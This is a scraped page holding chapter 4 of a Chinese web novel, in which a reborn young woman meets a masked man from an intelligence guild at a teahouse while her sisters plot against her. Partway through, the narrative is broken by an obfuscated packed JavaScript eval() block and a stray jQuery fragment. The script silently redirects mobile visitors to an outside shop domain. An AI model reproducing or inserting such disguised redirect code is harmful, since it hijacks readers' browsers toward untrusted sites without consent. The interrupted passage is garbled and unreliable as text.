文趣网 > 其他小说 > 反派她是软柿子 > 4. 第 4 章
    哭了吗?

    容锦簇低下头,抬起手背蹭了蹭脸颊,才发现自己早已泪流满面。

    “谢……”她侧过身想跟那人道声谢,只一眼,她声音滞住,如遭雷击。

    那是一个戴着银色面具的青年。

    那面具扣得很紧,眉心的位置用胭脂和金粉点了一朵小小的五瓣桃花。除了一双干净纯粹的丹凤眼,容锦簇能看到的只有他艳色的薄唇和弧度流畅的下颌。

    她目光辗转,从银色面具的金粉桃花一寸寸下移到颈项,最后挪回来,怔怔盯着那双眼睛。

    她认识这个人。

    不,更确切的说,她认识这双眼睛。

    这双眼睛回望着她,慢慢弯起两道漂亮的弧度。这个笑容澄净明亮,丹凤眼里缀着干干净净一池春水,水里倒映出漫天繁星。

    他轻轻问:“姑娘为什么一直看着我?”

    “二姐姐!”容宁烟气喘吁吁的声音打断了暗流涌动。她鲜少跑得这样快,连贵族小姐的礼节都可以弃之不顾。跑到近前,容宁烟扶着膝盖急促地匀气,眼前却亮得惊人,“原来你已经到了,银面郎君!”

    声音之激动,前桌听戏的年轻姑娘皱着眉扭身瞥她,目含警告。

    容宁烟这才意识到失礼,赔笑后,立刻挤到容锦簇和那个青年中间坐下,满脸绯红,热切地抓着容锦簇的手介绍:“二姐姐,这位是幽冥阁的银面郎君,他的代称是——”

    “银面桃花。”容锦簇神使鬼差般替她回答。

    “二姐姐怎么知道?”容宁烟眉尖一拢,眼里写满了惊喜过后的狐疑。

    “……自然是因为面具上画了一朵桃花。”容锦簇立刻埋头喝茶,明智地从漩涡里抽身出来,“这是你请来的人?不是说了只有我们姐妹出来玩吗。”

    容宁烟果然转移了注意,兴高采烈又娇羞万分地摇晃容锦簇手腕:“哎呀,二姐姐,你就说,有没有发现这位桃花郎君生得很好看嘛。”

    容锦簇顿觉口中的茶涩得咽不下去,将茶盏往桌上一放,欲言又止:“没有。”

    两道目光瞬间直直钉在她脸上。一道来自松了口气的容宁烟,另一道漫不经心的目光,不言自明。

    容宁烟锲而不舍:“但是桃花郎君特别厉害!二姐姐,你知道幽冥阁有一支以银面具示人的高手吗?”

    “不知道。”

    见容锦簇不捧场,容宁烟气馁,却又忍不住炫耀似的窃喜:“二姐姐久居深闺,不知道银面郎君也正常。”

    “幽冥阁是京城鼎鼎有名的情报组织,高手如云。其中有一支,以银面具作为标志,神出鬼没,无影无形,一概称作银面郎君。银面郎君纹饰不同,代称也不同。”

    说完,容宁烟脉脉含情,向旁边坐着的那位银面郎君投去期待的眼神,分明在寻求他的认同或夸奖。

    银面桃花对此视而不见。

    倒是容锦簇先笑了,温温柔柔地说:“神出鬼没,无影无形?想必逃跑的时候也很快吧。”

    方才还视若无睹的青年忽然斜过身子,朝容锦簇挑了一下唇角:“听这话,容二姑娘对在下的本事很感兴趣?”

    绵里藏针。

    针锋相对。

    对……这不对!容宁烟心中警铃大作,赶忙道:“容六姑娘也很感兴趣!”

    剑拔弩张的两人各自偏过头,仿佛旁边坐着一团空气。

    容宁烟脸上的笑完全僵住了,半晌,勉强拾起轻柔甜腻的语调,搡了搡容锦簇:“二姐姐,你跟桃花郎君认识呀。”

    异口同声:“不认识。”

    这不就是认识吗!容宁烟心头噌的一声火起,气得她七窍生烟。

    她不清楚刚才离席的时候到底发生了什么,但归根到底,桃花郎君是她先认识的!来茶楼听戏,还是桃花郎君先邀请的她呢!她绝不允许这么短的时间内,这支桃花被她那软绵无用的二姐姐勾走!

    咬了咬唇,她十分乖巧无辜地垂下脑袋,黯然神伤:“既然是二姐姐的故交,烟儿就不在这碍事了。烟儿去外面等,待二姐姐跟桃花郎君聊完了,千万别忘了到门口找我。”

    这招以退为进,以她对容锦簇那个胆小鬼的了解,容锦簇必定死死抓着她的手不放;而那位桃花郎君,虽然她不了解,但一看就是个风流公子,必定因她的温柔体贴而动容,怜香惜玉……

    容宁烟沉浸在无穷无尽的幻想里,情不自禁为自己的妙计叹服,忽然听见二姐姐和桃花郎君再一次同时开口:

    “行。”

    —

    春桃院门户大敞,凌乱的卧房像遭了贼似的,遍地破帛裂锦,白瓷碎片四处飞溅。

    容锦虞砸完了房中一切能砸的宝贝,连上午没用完的碎冰也泼到地上,这才扑到床上放声大哭。

    “娘,您怎么能任由容锦簇欺负我!您瞧瞧她,哪里有做姐姐的样子——”

    “够了。”容夫人跨进门,既心疼又气恼,“阿宁,你先瞧瞧你,又糟践了多少好东西。”

    “娘,我错了,我只是太伤心了。”容锦虞泪眼婆娑,满脸绝望地翻过身躺在床上,“我盼了一年的妆花缎,自己都不够用,怎么能都给二姐姐呢?”

    “傻孩子。”容夫人仍旧端着那副温柔婉约的神态,高深莫测一笑,“她怎么够格碰到属于你的缎子?恰恰相反,我要让她把吃下去的全都吐出来,加倍奉还。”

    容锦虞停止了哭闹,猛地坐起身:“阿娘,什么意思?”

    “当然是……”容夫人低声交代了容锦虞几句,这才问,“听明白了吗?”

    容锦虞懵懵懂懂点头,心中犹疑。

    剪坏一匹锦缎,嫁祸给容锦簇,这能行吗?

    —

    另一边,熙春楼,容宁烟简直不相信自己的耳朵:“什、什么?”

    “你不是说了吗?要去外面等二姑娘。”银面桃花大发慈悲地提醒她,“快去吧。”

    “我……”容宁烟磨磨蹭蹭不愿意走,“我还没……”

    “茶水点心钱我来付,六姑娘。”银面桃花挑眉,抢在容宁烟没想好理由之前,体贴地堵死了后路,“我跟二姑娘确是故交,正好要叙旧,六姑娘如此贴心,谢了。”

    容宁烟暗暗瞪了容锦簇一眼,牙都快咬碎了:“那我……先走啦,二姐姐一定要快些!”

    她一走,容锦簇落座之处立刻安静不少。没有容宁烟叽叽歪歪,倒是不习惯。

    银面桃花姿态从容,随手亮开一柄折扇,慢慢摇了摇:“一别经年,没想到二姑娘也学会了讥诮暗讽的本事。”

    容锦簇没搭话,低头气呼呼咬了一口伙计新送来的桂花糕。

    馥郁的香甜从唇齿间融化开,容锦簇闭上眼,终于有了种重新活过来的实感。

    吃完桂花糕,她用帕子细细将手指擦拭干净,头也不抬,暗暗咬了咬牙:“谁跟你一别经年。”

    前世,除了临死前那一刻

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484489|201924||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,她最恨的就是这位银面桃花。

    难道,他也重生了?

    这个念头刚灵光一闪,银面桃花慢条斯理摇了摇扇,用那双潋滟的丹凤眼朝她微微笑了:“二姑娘,狠心无情哪。十年前我们在宫宴上有过一面之缘,在下至今念念不忘,二姑娘却不记得了,可真是,知人知面不知心,痴心不如二两金哪。”

    十年前,容锦簇当然记得。那会儿她刚满六岁,失足掉进宫里的太液池,多亏一个清瘦的小男孩儿将她救上来。

    前世,银面桃花第一次见她,也提起了这份救命之恩。或许她就是出于这份恩情,才会那么坚定选他……

    容锦簇回过神,清醒地看着他。

    银面桃花笑得晃眼,举手投足间透出一股散漫劲儿。容锦簇撇了撇嘴,心想前世怎么就没看透这副金相玉质好皮囊下的风流浪荡,偏偏被他哄得深陷其中?

    这人气质没变,十年前见过也不假,没有重生的迹象。容锦簇放下心,继续品她的茶:“六妹妹喜欢你,你却对她那般,真不怕寒了她的心。”

    “二姑娘这话可冤枉我了,她都没表明心意,我哪有机会寒她的心。”银面桃花无辜地摊开一边手,“按二姑娘的意思,难不成谁喜欢我,我都得以身相许?照这么说,我对二姑娘念念不忘,你是不是也应该——”

    容锦簇警铃大作,睁圆了眼睛:“但是我有心上人了!”

    银面桃花摇扇的动作一顿,眼里寒意一闪而逝。随后再度将折扇缓缓晃着,含笑点了点头:“遵命。二姑娘也别太担心,在下事务繁忙,恐怕没那么多闲时候。”

    容锦簇顺着他的话往下想,越想,越觉得哪里不对。但她向来不爱动脑子,摇摇头,将繁杂的想法甩了出去,专心看戏。

    戏台上忽然煞的一声鞭响,如霹雳惊雷,画着浓墨重彩大花脸的虎将眉头一竖,大喝一声:“你到底何时来的!”

    话音一落,四面鼓声咚咚齐响,格外肃杀紧张。

    容锦簇同样一惊,顿觉那缕游离不定的思绪撕扯出一道口子:“既然事务繁忙,你怎么有空来茶楼听戏?”

    “忙里偷闲的道理,二姑娘不会不懂吧?”

    “可是,容宁烟怎么会跟你相识?”

    “她为何不能与我相识?几日前她不慎毁了我的东西,至今还欠我银两未还,所以约我听戏,求个宽限。怎么,二姑娘想替妹妹抵债?”

    天衣无缝。

    容锦簇沉默了。前世她被罚,关在院子里出不去,确实不知容宁烟当日去了何处。至于银面桃花如何与容宁烟相识,她也不清楚。

    不过有一件事她清楚。

    前世,她和银面桃花相遇是在万国会,根本不是在今日的茶楼。

    难道重生回来,跟容锦虞这么一闹,所有事都跟着改变了?

    思路就此中断,容锦簇有些泄气地垂下头,自己果然还是不适合盘问啊。

    她语气怏怏,随口扔回一句:“冤有头债有主,六妹妹欠你,你找她去,又何必跟我较劲儿呢?”

    原本一来一往的交锋戛然而止。

    沉默在空气中流转,几乎凝固之时,容锦簇终于听见银面桃花深吸一口气:“容二姑娘,实不相瞒,在下今日前来,是为了见你。”

    这完全出乎容锦簇的意料:“为什么?”

    银面桃花收了扇,态度严肃又郑重:“有事相求。”

    银面桃花,求她?